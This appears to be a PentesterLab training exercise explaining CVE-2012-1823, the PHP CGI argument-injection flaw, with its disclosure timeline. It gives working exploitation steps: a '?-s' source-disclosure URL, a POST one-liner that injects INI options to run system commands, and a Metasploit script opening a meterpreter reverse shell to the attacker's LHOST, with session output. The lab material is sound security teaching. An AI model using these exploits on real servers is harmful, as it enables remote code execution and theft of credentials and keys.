CVE-2012-1823: PHP CGI

This exercise explains how you can exploit CVE-2012-1823 to retrieve the source code of an application and gain code execution.

Free
Tier
Medium
--
0


Introduction

This course details the exploitation of the PHP CGI bug: CVE-2012-1823. This bug can be used by attackers to retrieve arbitrary code, and gain code execution on a server.

Some details
Timeline

This bug was initially discovered by Eindbazen during the Nullcon Capture The Flag event. Eindbazen is a famous CTF team that has participated in most CTFs.

The original advisory is available on their blog: http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823 (no longer active).

The following timeline of this bug (copied from the advisory's page) is worth reading since it's pretty funny and gives you a good idea on how much time vendors asked/needed to fix an issue:

  • 13/01/2012: Vulnerability discovered, used to compromise Nullcon Hackim 2012 scoreboard.
  • 17/01/2012: Eindbazen contacts security@php.net with a full report and a suggested patch.
  • 01/02/2012: Eindbazen asks PHP to confirm receipt, and state their intent to hand off the vulnerability to CERT if progress is not made.
  • 01/02/2012: PHP forwards the vulnerability report to PHP CGI maintainer.
  • 23/02/2012: CERT acknowledges receipt of the vulnerability and attempts to contact PHP.
  • 05/04/2012: Eindbazen asks CERT for a status update.
  • 05/04/2012: CERT responds saying that PHP is still working on a fix.
  • 20/04/2012: Eindbazen asks CERT to proceed with a disclosure unless a patch is imminent.
  • 26/04/2012: CERT prepares a draft advisory.
  • 02/05/2012: CERT notifies Eindbazen that PHP is testing a patch and would like more time. Eindbazen agrees.
  • 03/05/2012: Someone posts a mirror of the internal PHP bug on reddit /r/netsec /r/opensource and /r/technology. It was apparently accidentally marked public.

As you can see, there are 4 months between the discovery of the vulnerability and its disclosure. Finally, "someone's" mistake forced Eindbazen do go public...

The bug

The bug is due to an error on how the URI is used and provided to PHP CGI when a URL lacks the = character (typically used to separate a parameter's name and its value).

Basically, the URI is passed to the php-cgi binary without enough filtering or encoding, allowing an attacker to pass an extra argument to the php-cgi command line.

Using this bug to retrieve the source code

If you have access to the php-cgi binary, you can run it to see what options are available:

user@debian:~$ php-cgi -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
       php <file> [args...]
  -a               Run interactively.
  -b <address:port>|<port> Bind Path for external FASTCGI Server mode.
  -C               Do not chdir to the script's directory.
  -c <path>|<file> Look for php.ini file in this directory.
  -n               No php.ini file will be used.
  -d foo[=bar]     Define INI entry foo with value 'bar'.
  -e               Generate extended information for debugger/profiler.
  -f <file>        Parse <file>.  Implies '-q'.
  -h               This help.
  -i               PHP information.
  -l               Syntax check only (lint).
  -m               Show compiled in modules.
  -q               Quiet-mode.  Suppress HTTP Header output.
  -s               Display colour syntax highlighted source.
  -v               Version number.
  -w               Display source with stripped comments and whitespace.
  -z <file>        Load Zend extension <file>.
  -T <count>       Measure execution time of script repeated <count> times.

We can see that the -s option can be used to display the source code of the script.

We can use this behavior to retrieve the source code of the application by adding ?-s to the URL. This behavior can be really useful to:

  • Retrieve the source code.
  • Retrieve the database credentials.
  • Retrieve the encryption keys or any password.

For example, access the page http://vulnerable/?-s to see the page's code output directly. If you read the source code of the page, you will see that all the HTML code has been encoded to be displayed in the browser.

Using the bug to get code execution

More than just allowing code disclosure, this vulnerability allows attackers to get code execution.

To get code execution, we need to send PHP code to the server and have it be interpreted. The exploitation is based on using php://input to embed the code in the body of the request.

As we have seen above, the -d option can be used to change the PHP configuration by modifying the INI entries.

The exploitation on this exercise requires just two entries to be used (to keep things simple).

To exploit this bug, you want PHP to read PHP code from your HTTP request. To do that, you will need a PHP option that tells PHP to read from a file and points it to php://input. Luckily, PHP has an option named auto_prepend_file, which since version 4.2.3: "Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require function, so include_path is used".

The good thing about this option is that the content of the file is included before any other file, i.e.: before any other code is run.

So you are sure that no other code will disrupt your exploitation attempt.

However, if we want to use php://input, we need to have allow_url_include enabled, which is often not the case. But since we can redefine the INI entries, we can easily turn it on using -d allow_url_include=1.

Manually

This exercise is an ideal and easy case to exploit since Suhosin and safe mode are disabled. You can exploit CVE-2012-1823 using a proxy like Burp Suite, or any tool allowing you to send an HTTP POST request.

In this example, we are going to use lwp-request, a Perl based HTTP library. Once installed the lwp-request allows you to easily perform HTTP requests, using the command lwp-request or directly GET and POST.

echo "<?php system('uname -a');die(); ?>" | POST "http://vulnerable/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

The call to the die() function is only used to get the result, and prevent any other code or output to be displayed.

You should now see the result of your command!

Using metasploit

Metasploit can be downloaded from their main website. Once you have decompressed the archive file, you can display the console using the command msfconsole.

Exploitation

Once you have Metasploit installed, you can start it by running msfconsole:

$ msfconsole

After few seconds, the msf shell will appear:

msf >

Now select the exploit you want to use:

msf > use exploit/multi/http/php_cgi_arg_injection

You should be able to select your "victim", the RHOST (remote host):

msf exploit(php_cgi_arg_injection) > set RHOST vulnerable

Since the application is running on port 80 (the default port) and there is no vhost, you don't need to set the RPORT and VHOST options.

You can now select a PAYLOAD (the code that will actually be run).

For this, we are going to use Metasploit Meterpreter:

msf exploit(php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp

From there, you just need to tell Metasploit what IP address to use to connect back to you:

msf exploit(php_cgi_arg_injection) > set LHOST <your ip>
LHOST => <your ip>

After a quick review of the options:

msf exploit(php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        Use a proxy chain
   RHOST      vulnerable       yes       The target address
   RPORT      80               yes       The target port
   TARGETURI                   no        The URI to request
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  <your ip>         yes       The listen address
   LPORT  4444              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

Now we can run the exploit:

msf exploit(php_cgi_arg_injection) > exploit

[*] Started reverse handler on <your ip>:4444
[*] Sending stage (38791 bytes) to <your ip>
[*] Meterpreter session 1 opened (<your ip>:4444 -> <your ip>:39055) at 2012-05-22 16:10:40 +1000

If everything goes well, you can play with meterpreter:

meterpreter > ls

Listing: /var/www
=================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100664/rw-rw-r--  2023    fil   2012-05-04 12:02:39 +1000  all.css
100664/rw-rw-r--  289881  fil   2012-05-04 12:02:41 +1000  all.js
100664/rw-rw-r--  42140   fil   2012-05-04 12:02:57 +1000  bootstrap-1.1.0.css
100664/rw-rw-r--  56399   fil   2012-05-04 12:02:39 +1000  bootstrap.css
100664/rw-rw-r--  1150    fil   2012-05-04 12:02:34 +1000  favicon.ico
100664/rw-rw-r--  2684    fil   2012-05-04 14:09:04 +1000  index.php
100664/rw-rw-r--  388     fil   2012-05-04 12:02:39 +1000  patch.css
Automation

Now that you have the exploit working, you can automate the exploitation by creating a Metasploit script containing the following code (the list of commands from the previous section):

use exploit/multi/http/php_cgi_arg_injection
set RHOST vulnerable
set RPORT 80
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST <your ip>
exploit

Once this code is saved as php-cgi.msf, you can easily run it:

$ msfconsole -r php-cgi.msf
[ASCII ART]
[*] Processing metasploit-script for ERB directives.
resource (metasploit-script)> use exploit/multi/http/php_cgi_arg_injection
resource (metasploit-script)> set RHOST vulnerable
RHOST => vulnerable
resource (metasploit-script)> set RPORT 80
RPORT => 80
resource (metasploit-script)> set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
resource (metasploit-script)> set LHOST <your ip>
LHOST => <your ip>
resource (metasploit-script)> exploit
[*] Started reverse handler on <your ip>:4444
[*] Sending stage (38791 bytes) to <your ip>
[*] Meterpreter session 1 opened (<your ip>:4444 -> <your ip>:38881) at 2012-05-22 15:32:29 +1000

meterpreter >

You can then play with metasploit, as seen previously.

Conclusion

This exercise showed you how to exploit the bug PHP-CGI (aka CVE-2012-1823).

I hope you enjoyed learning with PentesterLab.